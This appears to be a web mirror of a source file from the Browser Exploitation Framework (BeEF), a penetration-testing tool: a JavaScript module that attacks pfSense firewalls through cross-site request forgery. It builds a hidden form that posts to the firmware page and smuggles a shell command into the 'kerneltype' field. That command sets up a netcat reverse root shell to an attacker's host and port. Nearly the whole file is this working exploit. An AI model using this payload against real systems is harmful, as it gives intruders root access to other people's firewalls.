Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/command.js
1872 views
1
//
2
// Copyright (c) 2006-2026Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var rhost = '<%= @rhost %>';
9
var rport = '<%= @rport %>';
10
var lhost = '<%= @lhost %>';
11
var lport = '<%= @lport %>';
12
13
var pfsense_iframe = beef.dom.createIframeXsrfForm("https://" + rhost + ":" + rport +"/system_firmware.php", "POST", "application/x-www-form-urlencoded",
14
[{'type':'hidden', 'name':'kerneltype', 'value':'SMP > /boot/kernel/pfsense_kernel.txt;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' + lhost + ' ' + lport + ' >/tmp/f &'}]);
15
16
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
17
18
cleanup = function() {
19
document.body.removeChild(pfsense_iframe);
20
}
21
setTimeout("cleanup()", 15000);
22
23
});
24
25
26